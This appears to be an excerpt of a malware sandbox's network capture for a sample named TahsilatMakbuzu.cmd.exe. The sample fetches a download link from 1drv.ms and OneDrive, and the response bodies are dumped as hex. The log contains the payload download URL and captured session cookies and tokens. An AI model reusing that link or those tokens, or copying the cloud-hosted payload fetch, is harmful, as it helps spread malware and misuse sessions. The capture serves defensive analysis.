2024-07-04 18:16:38 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:16:38 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49758	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:38 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:38 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF53ED39910 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: i4LLAuKqI0G5xuyweggoJA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FF490A9F3AB44DD2B551D1C5D208C4ED Ref B: EWR30EDGE0114 Ref C: 2024-07-04T18:16:38Z Date: Thu, 04 Jul 2024 18:16:38 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49759	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:39 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:40 UTC	2221	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:/l8Uc1Wc3Ig=:T0jantWJXIuXfPbPMBo2pzyxSRxW5PNJjPV2r+TL3N8=:F; domain=.live.com; path=/ Set-Cookie: xid=b0bbc841-bb45-41a5-98de-32db8fcd231f&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:39 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk5LCJuYmYiOjE3MjAxMTY5OTksImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiTG9ic3RlciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImIzYTBjYWFkMjk3ZjEwZTc1ZGVhNzE5MjJhZTQ4NmU0IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTl9.SerQlmWNcua-ZJsgbT3gT3cqC4OrJlEeovW0543RVjjkLcWo4j0bgqFT-57XoWJ1z4xGNtMzF02CObb8B2CGfxyLqoYiOhVWN_-_fTodbYkNF7M7qef0fzfBIo5c0fBjTp1rGaY6_koH4e015YBcu8-aLGgX4lqpigcqoKK746nI5oeDwk11WH9S3514zb75pyRfO60W5lZEwxkxUzQmUsZLOjqkt3fkpUPxGkR4dQtyrqOy8daWl8Teo9iySsJi03z-EaRVY3bgqhgpo4eIm89YEKEbyMsnkkBbASLl_7NrSB9ieoDNgb1bO9vaF-jMyrLqz186z-YtkMq2ATYpCg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:40 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-dz98d X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AA12144E4DFD40AAB9E1319AA05D0923 Ref B: BN3EDGE1115 Ref C: 2024-07-04T18:16:39Z Date: Thu, 04 Jul 2024 18:16:39 GMT Connection: close
2024-07-04 18:16:40 UTC	151	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=
2024-07-04 18:16:40 UTC	160	IN	Data Raw: 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d 70 3b 63 69 64 3d 62 66 32 62 37 63 30 38 33 38 62 35 65 31 62 64 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49760	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:41 UTC	1289	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk5LCJuYmYiOjE3MjAxMTY5OTksImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiTG9ic3RlciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImIzYTBjYWFkMjk3ZjEwZTc1ZGVhNzE5MjJhZTQ4NmU0IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTl9.SerQlmWNcua-ZJsgbT3gT3cqC4OrJlEeovW0543RVjjkLcWo4j0bgqFT-57XoWJ1z4xGNtMzF02CObb8B2CGfxyLqoYiOhVWN_-_fTodbYkNF7M7qef0fzfBIo5c0fBjTp1rGaY6_koH4e015YBcu8-aLGgX4lqpigcqoKK746nI5oeDwk11WH9S3514zb75pyRfO60W5lZEwxkxUzQmUsZLOjqkt3fkpUPxGkR4dQtyrqOy8daWl8Teo9iySsJi03z-EaRVY3bgqhgpo4eIm89YEKEbyMsnkkBbASLl_7NrSB9ieoDNgb1bO9vaF-jMyrLqz186z-YtkMq2ATYpCg; E=P:/l8Uc1Wc3Ig=:T0jantWJXIuXfPbPMBo2pzyxSRxW5PNJjPV2r+TL3N8=:F; xid=b0bbc841-bb45-41a5-98de-32db8fcd [TRUNCATED]
2024-07-04 18:16:41 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205898 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,32859,0,116772,5 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 351239a1-903d-5000-fe56-825aa4e208da request-id: 351239a1-903d-5000-fe56-825aa4e208da MS-CV: oTkSNT2QAFD+VoJapOII2g.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 29 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: ADC8DC8F5E3C4F5DA4FF64CC8A86887A Ref B: BN3EDGE1010 Ref C: 2024-07-04T18:16:41Z Date: Thu, 04 Jul 2024 18:16:40 GMT Connection: close
2024-07-04 18:16:41 UTC	207	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-sc
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 69 6d 61 67 65 73 2f 6f 64 62 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 72 65 76 3d 34 37 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 69 64 3d 22 66 61 76 69 63 6f 6e 22 20 2f 3e 3c 74 69 74 6c 65 3e 0d 0a 09 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 68 72 65 66 3d 22 2f 77 65 62 61 70 70 6d 61 6e 69 66 65 73 74 2e 6a 73 6f 6e Data Ascii: ale=1.0, minimum-scale=1.0, user-scalable=no" /><link rel="shortcut icon" href="/_layouts/15/images/odbfavicon.ico?rev=47" type="image/vnd.microsoft.icon" id="favicon" /><title>Microsoft OneDrive</title><link rel="manifest" href="/webappmanifest.json
2024-07-04 18:16:41 UTC	6179	IN	Data Raw: 38 2d 34 41 37 44 34 46 31 32 36 45 41 32 22 3a 74 72 75 65 2c 22 31 37 35 34 38 33 41 37 2d 35 37 44 34 2d 34 32 33 33 2d 42 34 39 42 2d 42 39 36 33 33 39 41 35 41 35 46 45 22 3a 74 72 75 65 2c 22 32 44 32 37 38 44 46 42 2d 41 46 41 46 2d 34 42 33 45 2d 38 35 42 42 2d 37 41 39 43 35 41 37 30 39 33 33 30 22 3a 74 72 75 65 2c 22 33 43 39 35 43 45 37 33 2d 44 38 33 41 2d 34 39 37 34 2d 42 38 41 31 2d 43 34 41 30 39 46 32 36 31 41 44 30 22 3a 74 72 75 65 2c 22 32 32 43 45 37 42 30 35 2d 32 45 37 43 2d 34 42 31 38 2d 39 30 42 31 2d 41 30 32 38 46 33 43 31 45 35 37 34 22 3a 74 72 75 65 2c 22 41 35 43 38 46 34 36 41 2d 32 35 41 30 2d 34 38 34 31 2d 39 42 42 46 2d 39 35 43 34 38 36 32 30 37 31 33 42 22 3a 74 72 75 65 2c 22 37 44 38 41 34 31 32 31 2d 41 38 41 33 Data Ascii: 8-4A7D4F126EA2":true,"175483A7-57D4-4233-B49B-B96339A5A5FE":true,"2D278DFB-AFAF-4B3E-85BB-7A9C5A709330":true,"3C95CE73-D83A-4974-B8A1-C4A09F261AD0":true,"22CE7B05-2E7C-4B18-90B1-A028F3C1E574":true,"A5C8F46A-25A0-4841-9BBF-95C48620713B":true,"7D8A4121-A8A3
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 Data Ascii: e,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 Data Ascii: 5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tr
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 Data Ascii: -4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF4
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 Data Ascii: 2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 43 46 45 36 38 37 41 22 3a 74 72 75 65 2c 22 38 32 42 42 39 44 35 31 2d 44 34 45 32 2d 34 42 32 42 2d 39 31 32 43 2d 34 30 39 35 43 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 Data Ascii: CFE687A":true,"82BB9D51-D4E2-4B2B-912C-4095C42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-9
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 42 39 44 35 35 45 34 36 2d 43 37 31 37 2d 34 30 34 39 2d 41 38 41 34 2d 44 31 30 41 46 32 31 46 43 38 36 36 22 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 Data Ascii: :true,"B9D55E46-C717-4049-A8A4-D10AF21FC866":true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3
2024-07-04 18:16:41 UTC	8192	IN	Data Raw: 44 31 30 33 43 42 31 2d 46 32 37 35 2d 34 45 37 35 2d 41 35 38 39 2d 41 42 44 46 36 33 45 30 34 43 43 42 22 3a 74 72 75 65 2c 22 43 30 41 35 42 31 34 34 2d 41 35 46 33 2d 34 42 41 37 2d 41 34 31 38 2d 43 43 45 45 34 39 33 35 38 31 38 35 22 3a 74 72 75 65 2c 22 37 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 Data Ascii: D103CB1-F275-4E75-A589-ABDF63E04CCB":true,"C0A5B144-A5F3-4BA7-A418-CCEE49358185":true,"7AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
